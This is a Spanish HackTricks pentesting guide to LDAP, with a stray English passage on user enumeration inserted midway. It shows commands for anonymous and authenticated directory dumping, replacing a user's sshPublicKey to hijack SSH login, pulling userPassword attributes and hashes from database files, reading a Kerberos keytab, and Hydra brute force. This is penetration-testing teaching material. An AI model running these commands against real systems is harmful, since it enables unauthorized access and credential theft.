hacktricks/network-services-pentesting/pentesting-ldap.md

# 389, 636, 3268, 3269 - Pentesting LDAP

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.

</details>

## Información Básica

LDAP (Protocolo Ligero de Acceso a Directorios) se utiliza principalmente para la **localización** de entidades como organizaciones, individuos y diversos **recursos** (por ejemplo, archivos, dispositivos) dentro de una red. Esto puede ser en una plataforma pública como Internet o dentro de una intranet privada. Como una versión simplificada del Protocolo de Acceso a Directorios (DAP), LDAP implica una huella de código reducida.

La estructura de un directorio LDAP permite su distribución en varios servidores. En cada uno de estos servidores, existe una forma **replicada** de todo el directorio y se **sincroniza** a intervalos regulares. En este contexto, un servidor LDAP se denomina Agente de Sistema de Directorio (DSA). Cuando un usuario envía una solicitud a un servidor LDAP, el servidor asume la plena responsabilidad de esa solicitud. Esto implica comunicarse con otros DSAs si es necesario, pero lo más importante es asegurar que el usuario reciba una respuesta única y coherente.

La organización de un directorio LDAP es similar a una jerarquía de "árbol" sencilla, que incluye varios niveles:

- El nivel más alto es el directorio raíz, que actúa como el origen o fuente del árbol.
- Esto se ramifica al siguiente nivel, países.
- Cada país se divide aún más en organizaciones.
- Las organizaciones se ramifican en unidades organizativas. Estas unidades pueden representar diferentes divisiones o departamentos.
- El nivel final incluye entidades individuales. Esto abarca no solo personas, sino también recursos compartidos como archivos e impresoras.


**Puerto predeterminado:** 389 y 636 (ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible de forma predeterminada en los puertos 3268 y 3269 para LDAPS.
```
PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped
```
### Formato de Intercambio de Datos LDAP

LDIF (LDAP Data Interchange Format) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).
```bash
dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Las líneas 1-3 definen el dominio de nivel superior local
* Las líneas 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local)
* Las líneas 10-16 definen 2 unidades organizativas: dev y sales
* Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores

## Escribir datos

Ten en cuenta que si puedes modificar los valores, podrías realizar acciones realmente interesantes. Por ejemplo, imagina que **puedes cambiar la información de "sshPublicKey"** de tu usuario o de cualquier usuario. Es altamente probable que si este atributo existe, entonces **ssh esté leyendo las claves públicas desde LDAP**. Si puedes modificar la clave pública de un usuario, **podrás iniciar sesión como ese usuario incluso si la autenticación de contraseña no está habilitada en ssh**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Obtención de credenciales en texto claro

Si se utiliza LDAP sin SSL, es posible **obtener credenciales en texto plano** en la red.

Además, se puede realizar un ataque **MITM** en la red **entre el servidor LDAP y el cliente**. Aquí se puede llevar a cabo un **Ataque de Degradación** para que el cliente utilice las **credenciales en texto claro** para iniciar sesión.

**Si se utiliza SSL**, se puede intentar realizar un **MITM** como se mencionó anteriormente, pero ofreciendo un **certificado falso**, si el **usuario lo acepta**, se puede Degradar el método de autenticación y ver las credenciales nuevamente.

## Acceso anónimo

### Saltar la comprobación de TLS SNI

Según [**este informe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), simplemente accediendo al servidor LDAP con un nombre de dominio arbitrario (como company.com) pudo contactar con el servicio LDAP y extraer información como usuario anónimo:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### Enlaces anónimos de LDAP

Los [enlaces anónimos de LDAP](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permiten a **atacantes no autenticados** recuperar información del dominio, como una lista completa de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una **configuración heredada**, y a partir de Windows Server 2003, solo se permiten usuarios autenticados para iniciar solicitudes LDAP.\
Sin embargo, los administradores pueden haber necesitado **configurar una aplicación en particular para permitir enlaces anónimos** y otorgar más acceso del previsto, lo que permite a usuarios no autenticados acceder a todos los objetos en AD.

## Credenciales válidas

Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el Administrador de Dominio usando:

[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#ldap)

## Enumeración

### Automatizado

Usando esto podrás ver la **información pública** (como el nombre de dominio)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
### Python

<details>

<summary>Ver enumeración LDAP con python</summary>

Puedes intentar **enumerar un LDAP con o sin credenciales usando python**: `pip3 install ldap3`

Primero intenta **conectar sin** credenciales:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```
Si la respuesta es `True` como en el ejemplo anterior, puedes obtener algunos **datos interesantes** del servidor LDAP (como el **contexto de nombres** o el **nombre de dominio**) desde:
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Una vez que tengas el contexto de nombres, puedes realizar algunas consultas más emocionantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
O **volcar** toda la ldap:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```
</details>

### windapsearch

[**Windapsearch**](https://github.com/ropnop/windapsearch) es un script de Python útil para **enumerar usuarios, grupos y computadoras de un dominio de Windows** utilizando consultas LDAP.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```
### ldapsearch

Verifique credenciales nulas o si sus credenciales son válidas:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Si encuentras algo que diga que "_se debe completar el _bind_" significa que las credenciales son incorrectas.

Puedes extraer **todo de un dominio** usando:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Extraer **usuarios**:

--- 

### Enumerating Users

To extract a list of users from an LDAP server, you can use tools like `ldapsearch` or `ldapenum`. These tools allow you to query the LDAP server and retrieve information about users, groups, and other objects stored in the directory.

#### Using ldapsearch

You can use the following `ldapsearch` command to extract a list of all users from an LDAP server:

```bash
ldapsearch -x -h <LDAP_SERVER_IP> -b "dc=<DOMAIN_COMPONENT>" "(objectClass=person)"
```

Replace `<LDAP_SERVER_IP>` with the IP address of the LDAP server and `<DOMAIN_COMPONENT>` with the appropriate domain component for the LDAP directory.

This command performs a search for all objects that have the `person` object class, which typically includes user accounts. The results will include information such as usernames, email addresses, and other attributes associated with each user.

#### Using ldapenum

`ldapenum` is another tool that can be used to extract user information from an LDAP server. You can run `ldapenum` with the following command:

```bash
ldapenum -h <LDAP_SERVER_IP> -d <DOMAIN_NAME>
```

Replace `<LDAP_SERVER_IP>` with the IP address of the LDAP server and `<DOMAIN_NAME>` with the name of the domain you are targeting.

`ldapenum` will attempt to enumerate users, groups, and other objects in the LDAP directory and provide detailed information about each discovered entity.

By extracting a list of users from an LDAP server, you can gather valuable information for further enumeration and potential exploitation during a penetration test.
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extraer **computadoras**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **mi información**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Domain Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Usuarios del Dominio**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Enterprise Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Administradores**:

```plaintext
ldapsearch -x -h <IP> -p <PORT> -b "dc=<DOMAIN>,dc=com" "(&(objectClass=user)(memberof=cn=Administrators,cn=Builtin,dc=<DOMAIN>,dc=com))"
```
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Grupo de Escritorio Remoto**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Para verificar si tienes acceso a alguna contraseña, puedes usar grep después de ejecutar una de las consultas:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
#### pbis

Puedes descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) y generalmente se instala en `/opt/pbis`.\
**Pbis** te permite obtener información básica fácilmente:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
## Interfaz Gráfica

### Apache Directory

[**Descarga Apache Directory desde aquí**](https://directory.apache.org/studio/download/download-linux.html). Puedes encontrar un [ejemplo de cómo usar esta herramienta aquí](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).

### jxplorer

Puedes descargar una interfaz gráfica con servidor LDAP aquí: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)

Por defecto, se instala en: _/opt/jxplorer_

![](<../.gitbook/assets/image (22) (1).png>)

### Godap

Puedes acceder a él en [https://github.com/Macmod/godap](https://github.com/Macmod/godap)

## Autenticación a través de kerberos

Usando `ldapsearch` puedes **autenticarte** contra **kerberos en lugar** de hacerlo a través de **NTLM** utilizando el parámetro `-Y GSSAPI`

## POST

Si puedes acceder a los archivos donde se encuentran las bases de datos (podrían estar en _/var/lib/ldap_). Puedes extraer los hashes usando:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
### Archivos de Configuración

* General
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* Servidor IBM SecureWay V3
* V3.sas.oc
* Servidor de Microsoft Active Directory
* msadClassesAttrs.ldif
* Servidor de Directorio de Netscape 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* Servidor de Directorio OpenLDAP
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Servidor de Directorio Sun ONE 5.1
* 75sas.ldif
```
Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
```
<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.

</details>